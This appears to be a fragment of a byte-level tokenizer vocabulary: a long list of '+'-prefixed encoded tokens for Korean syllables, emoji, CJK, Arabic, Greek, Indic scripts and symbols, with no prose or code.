+â̼ +ﻲ +ê°± +ê¿Ģ +ëĭ· +Ẹ +Ẫ +ÆĴ +ëᤠ+ìĪŃ +ï½Ĥ +ï½Ī +Åł +룬 +ѵ +ëĸ¡ +ëĥĦ +ìĦ° +ëĵĪ +ï¾ĥ +ëĩ¨ +ï½IJ +êµ½ +ìĹ½ +ëĤĢ +묶 +ï½· +ìıŁ +íĺĶ +ê¼Ī +ëģĪ +ì¥IJ +ïºĹ +ÄĮ +ëĪł +ëĸ¼ +íĢ´ +âī¥ +ëĭŃ +ì±Ļ +ê»ı +멤 +ìĥĺ +ëį® +룡 +ìĤ½ +ãĪľ +Ĩ +â̧ +コ +Ä£ +ì¦ī +ï¼¼ +Û© +âĪĻ +ë°ı +ë¹ħ +ðŁĺĽ +íĪ´ +ðŁĴķ +ãĢĴ +ìŀĺ +ﺤ +ï½ĸ +멾 +ë²¼ +ëĿĦ +ëļľ +ï»ĺ +ìĥĮ +ï½Ħ +ì©Ķ +ï½Ļ +ﺩ +Ûŀ +âĺİ +ìł¤ +ëIJ© +ÅĿ +âŀ¡ +ï»§ +Ðı +ì«ĵ +ê³½ +Éij +ãĥ² +ëĤ« +ë¦ī +ì¢ģ +ë°Ń +ðŁĺģ +ë¹µ +첩 +컵 +ðŁĺĺ +ë±ħ +âīĪ +ë¹ļ +ï»ľ +ðŁĻı +íģ° +ìĦŀ +ï¾ļ +ìĺ¹ +ë¼Ī +ëĤ¯ +ëŀ© +íļ¡ +ï½ķ +íĥĵ +ëĿł +ê³ģ +ëĵĢ +ìĹł +Z +ë§ij +ëĭ¿ +쿨 +ãİ¡ +ÐĬ +íĦ± +Ũ +ﺳ +ï¾ı +âĭħ +ê¼´ +âī¤ +íĮģ +Ω +궤 +ìĪį +âľ¿ +콤 +ëĪħ +íĨ± +ãħľ +áIJħ +ÅĴ +ðŁijī +ﻦ +Ъ +ë¥ľ +íķ« +ï¾ĭ +âĻ« +ê¹ľ +ë°¸ +ëĶĺ +íĿī +ï¾ģ +ï¾Ľ +볼 +ê²¹ +쿼 +ﻬ +âŀ¤ +ðŁĻģ +ïºł +ëĨ¨ +믹 +ê¸ĭ +ë»Ķ +ê¹ĥ +ëijij +íĭ¸ +íİĻ +âŀĸ +ãĥ½ +ì§ļ +ャ +ﻥ +íĮ½ +âĢĴ +ìĮĢ +ìŃī +ëļ± +ãĤŀ +íĭĪ +ãĤIJ +ëīĺ +Σ +ê³° +ë¹Ĺ +ï¾İ +ðŁĺŃ +íĿł +ìĹ¿ +ê°ļ +ì¤Į +ë§µ +ï½³ +ãģ¢ +ï»Ĺ +âī¦ +Ú¤ +ëłģ +ê¼½ +ﻫ +âī§ +ì´Ľ +ìłĿ +Ằ +âĻ£ +ìºĺ +âĪĩ +ê²ī +ë°Ł +ï»Ķ +íĸĩ +âĸĴ +ðŁijı +Ãŀ +ðŁĺĨ +ﺼ +âĿĹ +ìºĶ +칩 +ëĸ¤ +ëĥħ +âĶľ +ï½» +ÎĶ +áĥ¦ +ìŀİ +âĺĢ +âμ +ðŁĶ¥ +ë°Į +ìłĸ +íĹĽ +Îķ +ïºĥ +ë¶ī +âĪŀ +íĥŃ +Ãĭ +âģĦ +ãħĩ +ëĦ¥ +ëĭ® +ëł· +íĮĿ +캡 +ë·Ķ +ì©į +íĤ´ +ëļ« +âĵĴ +íķį +âĻĤ +ï¾Ĩ +âĨ© +ìį© +ïºķ +íĿĻ +Ñľ +íĤ· +íĿ° +íĥ± +ëķIJ +ï¾Ĵ +×ĥ +ëĮĦ +ìĺ´ +ìķµ +ê¹¥ +ëŀŃ +쪼 +ãİĿ +ðŁĺħ +ëıĭ +몫 +ﺸ +뮬 +ë²ħ +ëijł +ìħ° +ì»· +ëĶª +ëħĶ +ãħ¡ +ìĶ» +íķı +ëį± +ﺨ +ï¾į +ï½µ +ì¢Ģ +íİĮ +ï»° +ﺣ +Æ£ +ðŁ¤£ +ï·º +ëĤļ +âĭĨ +ë³į +ðŁĺĦ +ìĸĢ +ìĻł +ëĨĶ +íŨ +ï»Ľ +ï»Ŀ +á»¶ +ìĸĺ +ìİĦ +ÚĨ +ï»ŀ +ëĢIJ +ê²Ķ +ﻵ +âŦ +íļŁ +ê¹ģ +ê°ĵ +ëĶ´ +ìıĺ +ëļĿ +ỳ +ëŀ´ +ëĦī +âĺŀ +ï½ĺ +Ž +ë¦İ +âĸ¬ +ëŃī +âĩĽ +ìᬠ+ïºŁ +Ëľ +ë¶ĵ +ìĽ° +Åľ +ëŃĩ +Ỳ +Ëļ +ëķĢ +âĺij +ðŁı¼ +ìĸ½ +âĮĴ +Ðİ +ɾ +íĮ¡ +ï¾ħ +ìŀŃ +ィ +칫 +ìľĮ +ÒĽ +굿 +ëĭ¦ +âĶĶ +ï¾ij +ì§ĸ +ìºĦ +ãĢĥ +ʼ +ê²Ł +ï½§ +Ä¢ +íİł +ë§· +ê°ĩ +ìĭ¹ +ðŁĴ¦ +ï¾ľ +ëĬĻ +벡 +Å¿ +ðŁĺĭ +ðŁĴª +ì¿Ħ +ë©ķ +ìѤ +ëĬĦ +ðŁĮ¸ +ãĤĿ +Çİ +ï½ļ +ÄĹ +ëģĵ +ê¶IJ +áµī +ãĥĤ +ê»į +ðŁĺ¦ +ãĢĿ +ðŁ¤Ĺ +ÑŁ +ìĹİ +âľĮ +ìīIJ +ÃĨ +íĹIJ +ðŁİī +Îij +ï½Ń +ðŁĴĻ +ìĽ¬ +íĢĺ +ﻢ +ðŁĺİ +íij¼ +íĿ© +ï»Ħ +íħĢ +ëłIJ +쥬 +Ðĭ +ìĥ· +뾬 +ðŁĺĥ +ëĦ¬ +륨 +ìĽį +ï½Ĩ +ï½´ +ãĥħ +Ãı +ﻪ +âĻł +ëĬ¬ +ë±Ģ +ë°ĭ +ìĥĢ +ï½¾ +ëĤ± +컸 +ðŁĴĸ +ðŁijĮ +Ñŀ +ì§± +ËĨ +ðŁĵļ +âŃķ +ï¬Ĥ +ﻡ +ëij¬ +íμ +âĸ¸ +ê°¯ +ê¹ħ +ï½® +ëĺ¥ +Ä¡ +íĮŁ +ÐĮ +ìĨŁ +ïºĵ +ﻼ +ÃĽ +ãĥ¾ +ëĮĵ +íĴĭ +ìķĵ +ï½¹ +ëĤ¡ +ðŁijĩ +Ẽ +ãĢŁ +ðŁĮŁ +íĥł +ãĢĨ +âĢŁ +ë¸IJ +ðŁĮ¹ +ìł¼ +ðŁĵĮ +ìͬ +âĹĢ +ðŁĴĵ +ê¹İ +ìĤIJ +ìĶĮ +ÑĽ +âĶĪ +ë²³ +ãİŀ +Õ¡ +íĤµ +ðŁ¤Ķ +ëĢĶ +ìĬIJ +íĻī +⾦ +ëľ¯ +ìł¯ +ëͧ +Φ +ËĪ +ìī¼ +âĹĬ +ëľ© +ëľ° +ï¾IJ +ë¿Ķ +ìĹ® +ì·Į +ﺧ +ÎĴ +ëµĻ +ï»Ĭ +ì°Ķ +íİĦ +ðŁĴĹ +Ẵ +ì°¢ +íľ¼ +ê½Ĥ +ì±Ķ +ìī´ +âĸ¾ +íΰ +ëĭĽ +âĿ£ +ェ +ðŁĴľ +Ëĺ +ãħ¤ +âĨĹ +íĸĦ +âϬ +ìķ° +ïºľ +âī¡ +ãĢĵ +ìij¥ +íĮį +íīģ +ë»Ĺ +íľł +íľ© +âľĪ +íĢĦ +ìĸĩ +ì¢ĩ +íŀĻ +몹 +ãĤĽ +ðŁĺ± +ëįŁ +à¹ħ +êµ¶ +Ù« +ìĶģ +âľª +ï¾Ī +ðŁĻĮ +âļ¡ +Îļ +ì¼Ī +ï¾Ķ +ï¾Ĥ +êµī +ﺻ +ðŁĴĭ +á¹£ +ÓĻ +ìĨľ +ìĹ£ +âľ© +ìľĻ +ﺰ +Ẳ +ìŀ£ +âĿĮ +âĺģ +ìķİ +Ľ +Ûģ +ãĦ± +ëŁ¿ +íĮ¸ +ê½ī +ìıł +ðŁįĢ +âĨĶ +ëŃ¡ +ï»ģ +ï¼Ħ +ðŁĴ¥ +âĺĽ +íĹ· +ëij¡ +Îł +Τ +âĦĵ +ﺷ +ÎĻ +ëıĶ +짤 +âĶĥ +ãĦ· +ÇĴ +ðŁ¥° +ëĶķ +ìļ¥ +ì¸Ħ +íĽĶ +ïºĩ +ﺬ +ðŁĺ¢ +빡 +ì͹ +ų +ËĿ +íİij +ï¾ĵ +ðŁĴļ +ëĬij +꺾 +íĨ° +ÿ +ÐĦ +ëĮIJ +ë½Ģ +ì·Ħ +ðŁĵį +ðŁĻĪ +âĹĪ +ê¿ĩ +ì¼Ħ +íİ« +ðŁĩ· +âĶĭ +âļł +ë±ī +ìį° +ìĻĪ +ɪ +ïºĭ +ðŁĺľ +ÎŁ +ðŁĻĤ +âļ½ +ÅĪ +ë¹Ķ +íĮľ +à¹ı +ìĸ¹ +íĪŃ +ðŁ¥ĩ +ãĦ´ +ëĶ¥ +ìŃĪ +âĪĨ +ëĸ³ +ë±ĥ +ìŀ¦ +ï»IJ +Îľ +âľ§ +Ïį +ìłĵ +âĹķ +ëĴĢ +ï»Ģ +ðŁĶ´ +ê½ģ +ëĮĪ +ëİĮ +ãĤİ +â¦ģ +ì½§ +ﯾ +âĿ¯ +à¸ħ +ðŁĻĦ +âĿĢ +ðŁĶ¹ +âĩIJ +êµµ +âĩĶ +ë¶IJ +ðŁĴĽ +ξ +íĥ¬ +âĿĦ +Ò£ +ã̰ +âĪij +âĺ¼ +âīł +Ò¯ +ﺯ +꿨 +âľĸ +Êĸ +íĢĢ +ê¾Ģ +íĹĿ +âĶ£ +ãİľ +ëĶĽ +뾸 +ﺫ +ê¿° +ðŁĩ¹ +ÇIJ +ÛĴ +룻 +ïºĸ +Ñļ +ëĬł +Ûķ +깡 +ë¿ľ +ì²¼ +ï¨ij +륵 +ìᏠ+íħħ +íij¹ +ÖĢ +ï³Į +ãħ£ +ìij¤ +ì½ķ +ëķł +ðŁĮ¿ +íĥĶ +ìĽģ +ζ +âŀľ +ìĬĺ +íĽĹ +ë©§ +ìīĺ +Õ¶ +á¹ĩ +ðŁİģ +ソ +ï¼Ĥ +á¼IJ +âľķ +âŀ¢ +ëĦ¨ +컫 +ì¯Ķ +ì°ľ +ðŁĴ° +íħĿ +ãİı +ë³¶ +Òĵ +âĨ³ +ìĥ´ +íģĺ +âĸĢ +ë²Ļ +à¸ĥ +á½¶ +Äķ +â¬ĩ +ë¤ĺ +ðŁİµ +âľļ +ïºı +Ρ +âĹī +ðŁĴ« +ÐĪ +ìĸĦ +ì§Ļ +ï»ĥ +ðĿijĴ +ëŃĦ +âĿ¥ +âĿĸ +âĺĿ +ʹ +ḥ +âĢ¿ +ãħħ +ê¸ģ +ëķ¡ +ëᥠ+âĪ© +ê»Ħ +ë®Į +Ò± +âĪĹ +ëłĻ +ïºĮ +ËIJ +ðŁĺ³ +ðŁij© +ðŁİ¶ +쿵 +ðŁ¤© +ê·¤ +ëĮĶ +ïºIJ +Ïİ +ì¶¥ +ï½Ĭ +á¹Ń +뤼 +âĸ« +ì§ł +á¼Ģ +ê»ij +ëĮģ +í̏ +âĻĽ +ðŁĴŀ +âĸ° +ðĿijĸ +ëĿ¤ +द +ì´ĺ +ðŁĺĩ +ëͤ +ÎĹ +ðŁĻĩ +ËĽ +ì©¡ +âΧ +Õ¥ +ÑĻ +ëIJ¬ +ëĸĦ +ðŁĮ· +ìĹĮ +ðŁĺ¥ +ëĪ´ +ï»ļ +ÉĽ +ïºĦ +ï»ı +ÅĮ +ë²ļ +ìĭ£ +ïºĢ +Îĵ +ðŁĺĮ +ËĻ +ëŀı +ðŁĶ¸ +ðŁĵ· +ëģ½ +íģ½ +ðŁĴ¡ +ðŁĮ± +ëºı +ìģł +ìĥIJ +ëıĹ +츰 +ëĪķ +ÎĿ +âģī +ðŁĮ¼ +íĮł +âĭ¯ +áĥĺ +⾤ +ê±Ķ +íĮİ +ðŁĴ¯ +ìıĻ +íĹī +ÙŃ +ì½° +ﺿ +ï»± +ì±Į +âĺķ +ðŁİĢ +ÄĿ +ë°§ +ìĤ¿ +áijķ +ðŁįĥ +âĩ¨ +ÎĽ +ë§´ +ë³ķ +áijIJ +âĸĵ +ðĿijľ +âĻ» +íĤ¥ +Õ¸ +ãα +ëºĢ +첸 +ïºĽ +ðŁıĨ +ðŁĩª +âĿĵ +ÄĢ +ì½¥ +ðŁĩ§ +á½· +âľĤ +ìŀ¼ +ï§¡ +ðŁĵ¸ +âϝ +ÉĶ +ὸ +âĮª +ï»ĸ +不 +âļ« +âĶĹ +ðŁĮĪ +ﻩ +ðŁĵ² +ÏĪ +ðŁĺ¡ +ðĿijİ +ìľ½ +짬 +ì§Ĭ +á½³ +ìĮ¤ +ëĤį +âīĴ +ðŁij¨ +âĺĺ +Ó© +âĤĵ +âĪĤ +ï¹ģ +ðŁĴIJ +íħĥ +ðŁı½ +ê·Ħ +ðŁĺı +ðŁĮº +ðŁĺĶ +ォ +âľİ +ëµĪ +ðŁĩ¸ +âĢ£ +âŀĶ +ëĺĺ +ìĥ¬ +Êĥ +â¬ħ +ì©IJ +ðŁĻĨ +ðŁİĦ +ľ +⣶ +áĥIJ +âĺ» +ì±ķ +ìģ© +ë½ķ +캣 +ðŁijĪ +ðŁĻĭ +ï¾ĸ +Òļ +Õ« +ìĮĪ +ë²§ +ðŁĩ® +ï½Ŀ +ðŁįģ +ìĹ¥ +ij +ë½IJ +íį½ +íĽij +âĤ¹ +ãħģ +ìͽ +ðŁĶģ +य +ê¾¹ +ëīľ +âĹ¡ +íķĮ +Îĺ +룹 +ìĻĵ +ðŁĩ¦ +ðŁijĢ +âĶĮ +ῦ +ëĦĽ +ìĦ£ +ìŃĻ +ï±ł +Îŀ +Ê» +á¿¶ +âĿĿ +ê±Ģ +ëĸ´ +ãĦ¹ +ðŁĴİ +Ϲ +âĽħ +ï»ķ +ãĥ± +ï½Ľ +ëĮķ +ë¹½ +ì¥Ķ +쿤 +ðŁĸ¤ +ÑĴ +ê¹į +ëİĢ +ìĭ¯ +뻤 +ðŁĵŀ +ðŁĵ£ +ðŁĺĿ +ìį¹ +ìĹ¡ +ì°IJ +á½IJ +ï»Ī +âľį +Äı +ðŁĮŀ +âĦ¦ +ê½Ŀ +ë»ĺ +ìα +âĶĺ +ðŁĮ» +âĤ´ +âŀ¨ +íIJģ +ê¶Ī +âĺ¢ +ðŁĺĪ +ゥ +âĦĹ +ê°Ń +ê°¸ +ë»ij +쥴 +컥 +ï¤Ĭ +ï»Ĵ +ðŁĺķ +âĺĶ +ìĺIJ +ðŁļĹ +ëĹĦ +ë§ı +Õ½ +âĸ» +⣵ +ìī° +ï»ij +âĻ© +Î¥ +ðŁĺ£ +âĬĤ +ãħĤ +ìħ¸ +íıĦ +âľ½ +ì¦Ļ +âĸ£ +ê±į +ê¿ĭ +ì«Ħ +ìºĩ +ðŁĩµ +ðŁijij +âľĺ +ðĿijĽ +ìį½ +ìºī +וּ +ðŁĶº +âĦ® +íĥ¤ +ðŁĩº +ðŁĴµ +íħ¨ +ï½ij +Ψ +ìĥ¹ +ìĸķ +ì¹µ +ðŁĵ± +व +ðŁijĬ +ðŁĴĦ +ðŁĴĿ +ãĮĶ +ìĻģ +Ðĩ +à®IJ +âĸ¹ +á´Ľ +âĹĺ +뺨 +íĥī +ìĸĮ +ðŁIJ¶ +ãĤij +Ëĩ +Åı +á½¹ +ìħ§ +ï¹° +ðĿij¡ +ðŁĶĿ +ðŁĺ» +ðŁĴĥ +ðŁ¤¦ +ðŁįĴ +í̵ +âľĨ +ë¹´ +理 +ï»Ļ +á´Ĺ +ðŁĮ´ +; +ëĮij +ì¨ĭ +쵸 +ðŁİĪ +ðŁıł +á½± +ÛĨ +á¿ĸ +âĢĽ +ì°¼ +íķ¥ +íĹ´ +ðŁĩ¬ +ì°Ŀ +âĪł +ï¼ĩ +âĬĻ +âĿij +ëĦĭ +ëŀĹ +ë°ī +ìĹĬ +ì¢Ĩ +íĮ¥ +ï°² +ðŁĵĸ +ðŁĺ® +âļª +ðŁĺļ +âĿŀ +ðĿijŁ +ðŁİĤ +Åķ +áIJĪ +꺽 +ì±ł +ïºĿ +ê¿ī +áĥł +ðŁıĥ +ðŁĴ¸ +âĿģ +âĹ¾ +Úª +á¹ĥ +íĬ¬ +ðŁĩ± +íİŃ +ðŁĺŀ +ë¾° +á¹Ľ +뼸 +âĿĤ +êĴ³ +âĶIJ +íĵ° +âŀł +ê´ĺ +ëħĺ +뻥 +ì¾ħ +ðŁĺIJ +âĪª +ðŁijģ +âĪ´ +âĹģ +ëºIJ +ìŀ¤ +ì±Ĺ +ðŁı¾ +Χ +á½» +âŀ¥ +ìŁĪ +ï»ī +âĸĮ +ãĥ® +ðŁ¤¤ +âĩĵ +ì¼ł +á´ı +맬 +뻣 +ðŁĴ¬ +ðŁįĵ +ĸ +Ù¹ +Ê¿ +á½° +ëķľ +ì°¡ +ì°» +íİį +ðŁİ¯ +ðŁįĤ +ðŁij§ +âĻ¢ +áĨŀ +âϧ +âļľ +âľī +ëĵ¦ +ëŃ£ +ìĪı +ìĵ± +ÅŃ +ÊĬ +âĴ¸ +âĩ© +ðŁĴĶ +Õµ +Ðī +Ò» +ë§£ +ìĽľ +ì¿¡ +íĽħ +íĽ¤ +ﺢ +âľĭ +âĪĪ +ðŁĮį +Êľ +ëĬª +ëĴ¹ +ﺲ +âĸĦ +ãħĪ +ëļ¤ +íİ© +â΍ +ðŁ¤ª +áĥļ +ê³¶ +íĬķ +ðŁĺ¬ +âĪ« +ðŁijĭ +ÒIJ +íĬ¿ +ðŁĶµ +ðŁĴ¨ +ðŁĮĻ +ëĩ© +âľ³ +ë¨ģ +ëºĦ +ìĻij +ìºħ +íıĪ +ðĿijĻ +ðŁĴĺ +ãİ¥ +âĿı +âľ° +ﯿ +ëµIJ +ì¼IJ +ﺱ +Õ´ +ï¬Ģ +âľ´ +ðŁ¤Ń +ðŁijĨ +âĽĶ +ê·ĵ +ìĮĮ +ðŁ¤· +ÛĶ +ðŁ§¡ +ðŁĺĵ +Îĸ +âı° +ê²ľ +ëĭ³ +ëİħ +ë°Ī +ï®IJ +ðŁı¡ +âĨª +âĵĶ +âľĬ +ϲ +ÜIJ +ðŁĩ³ +ÖĤ +âľı +ìĸĹ +ì«Ļ +ðŁĺ² +ÄŃ +âĻŃ +âĶı +âĹĮ +ðŁĺ¯ +áµĴ +íĬł +Ä· +Êģ +à¤Ł +á¹ģ +á¼° +á¿Ĩ +â« +⫸ +ëį« +ì³ĩ +켤 +íĽ¨ +ðŁĴŁ +ÊĢ +ʳ +ëĵIJ +âķ° +âĿĩ +ÇĢ +ÇĶ +É´ +âĺļ +âĺľ +ê¶Ĥ +ì«Ĵ +ì±Ī +ðŁĩ¨ +ðŁİ¥ +ðŁĵĿ +ħ +ðĿijIJ +ÛĪ +ब +ì¬IJ +íĹ¥ +âύ +ðŁį´ +ï¹ı +Ëĭ +ðŁ¥º +âĸ¨ +íĻĭ +âĪħ +ëģĻ +ëŀł +ìĨ¥ +âĢĸ +ð٤ĺ +ðŁIJ» +áµķ +ÇĿ +âĺı +ïºļ +ï»Ĥ +ðŁļ© +ìĪŁ +ËĬ +⤵ +ðŁĴ§ +ãħį +ë©© +Ƭ +Îĩ +âĩ§ +âĵļ +ìĤ¯ +ìΝ +ëĨĭ +âľ¯ +ðŁļĢ +Úĺ +Ú¨ +âľŃ +ê²ħ +íĮ° +íľĻ +ðŁĮĬ +ðŁİĵ +ðŁĺĻ +Ëĥ +ðŁĴģ +ðŁijİ +âĺ¹ +ðŁĺ« +ðŁĴ» +ëĤµ +ìĿĬ +íĮ» +Ò³ +á½² +âŀŀ +ëĤij +ëĿĪ +죤 +ﻯ +ðŁĩ© +ðŁ¥³ +âĴ¼ +ð٦ĭ +âĺĤ +ðŁĺ° +ðŁĻĥ +ðŁĺĴ +Ûİ +Ïķ +Ḥ +룽 +ìĬ¥ +ðĿijī +ÉIJ +ðŁįİ +âķ¯ +âķ¹ +າ +ï¾ł +ë¹ķ +ïºĨ +ʺ +Ó§ +âĨł +ëĥĩ +ìİĪ +ìŁ¤ +ï±¢ +âķ¬ +âĺł +ðŁİĬ +ãįį +ãİİ +âĺ° +âľĥ +ãħī +ë¯Ī +빤 +ìıŃ +ðĿij¢ +ðŁIJ¾ +Åĭ +ðŁij¶ +âĶĽ +ï¿¢ +áĥ¡ +ļ +ÅĨ +ÑIJ +ìĥĽ +ìĺĮ +챤 +íħģ +íļĥ +ï³Ĭ +ðĿijĶ +ðŁĩ« +âĭ° +ðŁĺ¨ +âĤ© +Õ¬ +á¸į +á»´ +âĨĺ +âĺ¯ +ãħı +ìł¬ +âĻĶ +ðŁĶĶ +ðŁĺł +ðŁĻĬ +à®ľ +á¹ħ +âĹIJ +âĿĪ +âŀ½ +ìĥħ +ðĿijł +Æ¢ +âĭĻ +ê°Ľ +ëĿµ +ë£Ł +ìıľ +ïºģ +ðŁĴŃ +âĬĥ +ðŁIJ° +ãħĮ +Üĵ +âŀķ +á½ģ +ìķ³ +ðĿijĿ +ðŁİ¬ +É¡ +à¤Ĺ +áIJī +ì©ľ +ì¶§ +ï³ī +ï»ħ +ðĿIJŀ +श +ðŁĵ¢ +ðŁįĭ +ðŁĴħ +ï¾ķ +â¬Ĩ +âε +ð٤ij +áĥ£ +ÆĦ +ѹ +á¼Ķ +ê°ł +ê´Į +ê·IJ +뼴 +ì±ĺ +ï®Ń +ﺹ +ﺾ +âľĹ +âĿ¦ +ðŁij¦ +áĥĹ +Ù² +á½´ +âĪı +âľ® +ê¹° +ë²µ +ìĦĢ +ì©Ŀ +ïºŀ +ﺽ +ðŁĩŃ +ËĤ +ðŁįij +ðŁįĮ +ðŁĶ» +깬 +ìĬŃ +ìľ· +ðŁĽij +ǧ +ë¼Ľ +ﺡ +ﺺ +ðĿijļ +ðŁĵ¦ +ðŁĶİ +ðŁĹĵ +áĥĶ +âľĴ +âľ¡ +ðŁĮµ +âĶķ +ëĢĿ +ðŁįĬ +âĺĥ +ìĺħ +ব +ð٦ģ +âݯ +ðŁIJķ +Ñ¿ +। +à¼ĭ +ê·Ī +ì«Į +ðŁĩ° +âĿī +ì«Ģ +íĿĦ +ðĿIJ¢ +ðŁļ¨ +âϤ +ðŁĺ© +ðŁįį +ðŁĺij +ðŁļļ +ÖĦ +ë« +뫼 +à¤ı +á¿· +âĮ© +âĺIJ +âŀ£ +긱 +꼿 +ëĦĿ +ìı´ +ìļ¤ +쿱 +íİIJ +ðŁĴ¢ +ì´IJ +âĩij +âĶĵ +âģ¾ +ÜĿ +ðŁį° +â´° +Æı +ÏŁ +Úº +Ûĥ +áĦĴ +âĪŁ +âĿį +ãĦ² +ìľħ +ì¤ı +ðŁĩ² +êºĦ +ðŁİ¤ +âľ£ +â¸Ŀ +︵ +ວ +áĢĻ +âķł +Õ¯ +âı© +ðĿij£ +ðŁĴ£ +Åĺ +à¥IJ +âģĥ +âĮĺ +ê»Į +ìĮĶ +ðĿijĺ +ð٤ĵ +Õ¿ +à¤Ń +âĮļ +âľĿ +ðŁIJ¼ +ËĮ +âķļ +ï¦Ĺ +âĿķ +âķ£ +ðŁIJ± +த +Ѿ +à¤ļ +à¤ľ +ìĪĦ +ìļľ +ðŁİ® +ÉĴ +Ú· +àºį +âĨµ +âĪĺ +âĿĬ +ë¿į +ìIJĪ +ìļĺ +쯧 +íĥ¯ +ìĸı +︰ +ðŁĩ¯ +ð٧ļ +ðŁĺµ +ðŁĺ· +ðŁĮ³ +ລ +Äī +Ä¥ +âľ¶ +῾ +âĬ± +âĺ¾ +ê°ī +ê¼° +ëºij +ðŁĶĬ +ðŁĸIJ +Ť +Ò« +à®® +âĮĪ +âĹĹ +ëĦµ +ëħľ +ëľ¹ +ðĿij¥ +ðŁĴ¿ +ðŁĽĴ +ÊĴ +áŀĵ +ðŁIJĿ +ð٦Ħ +ðŁį· +âĺŁ +︶ +ðŁ¤Ł +Ô± +âĨ² +âĪİ +âľ« +ëĩ½ +ëıIJ +ëķĦ +靈 +ï§Ŀ +ïºĻ +ðŁij» +ðŁĵº +êµ¼ +ìĮ© +ðŁĮ² +ȱ +íĶķ +ðŁĺ¤ +ãĮ¢ +ÊĶ +ड +á¼Ī +ëİĥ +멱 +ë®Ī +ðĿIJ« +âĬķ +ëĥł +뻬 +íĭĶ +Õ¤ +á¼± +âľ¥ +âĺĦ +âĪ¥ +âļķ +ðŁijĦ +ðŁİħ +àºĻ +âͬ +á½µ +Õ¾ +Öģ +âĹĶ +ê¿į +ëĸµ +ë©İ +ë®´ +ìķ´ +áĥľ +ἡ +âĶĬ +âķ® +âĹ¼ +ðŁį¾ +ðŁĽį +ðŁijĹ +ð٤ŀ +âľĦ +ÕĢ +ল +Ëī +⣨ +į +ÏĬ +á´ľ +ë¹³ +ï³ĭ +ï¿ł +Ī +âĤ¸ +âľ± +ê»IJ +ëĭ» +맸 +ìŀ¿ +쩨 +ìŃIJ +ì°¿ +íħŁ +ðĿIJ§ +ðĿijij +ðŁĮİ +ðŁĵ® +ðŁķĶ +âĹĻ +âĹ» +âŀ§ +ìŁĿ +⾬ +ãĥ° +âģĪ +âĵĺ +ðŁĴĮ +ï¬ĥ +àºĶ +ìͰ +ðŁĺª +×Ģ +ìĥ¨ +ïŃĭ +ðŁįķ +ðŁĺ´ +ϳ +á¼Ħ +á½ħ +âĩ¢ +âķŃ +ìĺ» +íĬ¤ +Üĺ +⤴ +âĹį +áŀŁ +ðŁįº +áŀļ +ðŁıĬ +ðŁIJ· +ÊĮ +ὺ +âģ» +ê½Į +ëĪĹ +ëĹı +ì¿° +í̼ +íįħ +ï·² +ðŁĮı +ðŁį« +ðŁį³ +ðŁİ° +ðŁij° +ðŁĴ² +á¥Ļ +ðŁIJŁ +ï¿¡ +ðŁĹ£ +ðŁįľ +âľ² +ãİ¢ +ðŁĶ° +Ἰ +á½ij +Äİ +áĦĢ +âĻķ +ëłĿ +ìĪ´ +ïŃŃ +Óľ +ÔĢ +ëĢľ +ëĥĶ +ìĬĽ +ì«ij +캥 +캬 +ðĿij¦ +ðŁĶ¶ +쾨 +ðĿIJļ +ðŁį» +ðŁĴį +ðŁ¤¡ +ðŁķĬ +â½ĩ +âĵIJ +ðŁįŃ +ðŁįª +ðŁĶĨ +Ò¡ +á´ĩ +ÉĹ +ÜĶ +âĦİ +âĿĥ +ëĹĢ +ï²Ķ +ïºĪ +ðĿIJ» +ðŁĴĬ +ðŁļ« +Ѱ +ѳ +ष +âĹł +ðŁij¤ +ï¾ĩ +âĺĵ +ðŁįµ +ðŁ¤¨ +âĸŃ +à®´ +Ü¢ +ܬ +à´® +ðŁķº +Ô¹ +Õ£ +à´¯ +á´Ģ +âĮī +âľIJ +âŀ¦ +ê¹½ +ëĮľ +ðŁı¥ +ðŁĵ© +Ò¹ +Óĺ +à¤ħ +âĿ§ +ÆĹ +âĹ½ +ðŁij« +ðŁİ§ +ðŁij£ +âľ» +ðŁĻħ +ðŁĺĸ +ðŁĴ® +ະ +ðŁĶľ +ðŁįĦ +ð٤Ŀ +áĥĿ +áŀĢ +âĩ¦ +ʾ +Ò® +Õ¼ +à¤Ĩ +âĹħ +âļĵ +âļĸ +ê¿© +ë¯Ħ +ìIJIJ +ìŀ° +ì§Ń +íĭĭ +íݨ +íϧ +ï²ij +ðŁİĹ +Ù³ +ðŁij¸ +ম +ðŁijķ +Úµ +â̾ +âŀ° +ðŁij¯ +ðŁİ¼ +ðŁıģ +ĺ +Êı +Ú³ +âı± +ê½Ī +ëĿĮ +ìĮī +ìĹ· +ìŀ´ +íĹ¹ +íľ¨ +ðĿĹ² +ðŁĮIJ +ðŁİĻ +ðŁıµ +íĽĻ +ðĿijħ +ðŁĺ¶ +âĵħ +âķ¥ +ðŁįı +ï¦İ +Õ© +ðĿIJĦ +Ó£ +Ú¿ +âĻļ +ðŁĶĹ +ḫ +âĭ® +âĸ¦ +âĽ½ +âľµ +ãħĨ +ãħĬ +ëĦĻ +ëĿ¨ +ë¥Ħ +ìĦ¦ +ì§° +ì§¹ +íīĪ +ï§ij +ï»ĩ +ðŁĮ¾ +ðŁıĸ +ðŁIJij +ðŁĴ³ +ðŁĵĨ +Ûĩ +Üķ +á½½ +ëĦľ +à´² +à´³ +àºŃ +áĥĽ +âĿĶ +âijħ +áĥ¥ +ðŁĵħ +âŀ³ +á´µ +﹡ +ï¹¶ +ÎĨ +थ +áīµ +âĿĻ +âĿ± +ëīł +ëİł +ëıĽ +ë¿ħ +ì͏ +íij¯ +íŀī +íŀĽ +ï§Ħ +ïŃĺ +ﺦ +ﻸ +ðĿijĤ +ðĿijı +Ïij +Úł +áĢĶ +áŀĶ +á¹¢ +ëĦ¸ +ðĿIJ¨ +ðŁĩ´ +Õ° +ðŁijł +ðŁįĨ +ðŁıĢ +ðŁijIJ +ðŁįĩ +ðŁIJ£ +áĪŃ +ܪ +ðŁĮĢ +áŀĺ +âĩĦ +ðĿIJĢ +ÊĻ +âͼ +ðŁı¿ +Æ· +Èł +ѽ +âĤ¨ +ê´Ń +ê¹» +ë͍ +ìĪĢ +ì¾° +íĨĪ +ï®§ +ﯽ +ðŁĶħ +ðŁĶ® +Å¢ +ʰ +Ѹ +ण +âĬĹ +ëªĦ +ï¹· +ïºħ +ðĿIJµ +ðŁĮ¶ +ðŁĵ° +ðŁĶ· +ðŁĸĴ +ðŁ¤² +ëī© +ðŁİĨ +ð٧IJ +ðŁį® +âĨº +âĿ¢ +ðŁijª +ðŁij± +âĨ¡ +áŀı +Úķ +ðŁį¹ +ðŁĴĢ +Ë® +Ó¨ +Öħ +à¤ĩ +âĤ¡ +âĪķ +âĺī +ê¹¼ +ê¼IJ +콸 +ðĿIJ¬ +ðŁıħ +ðŁijĻ 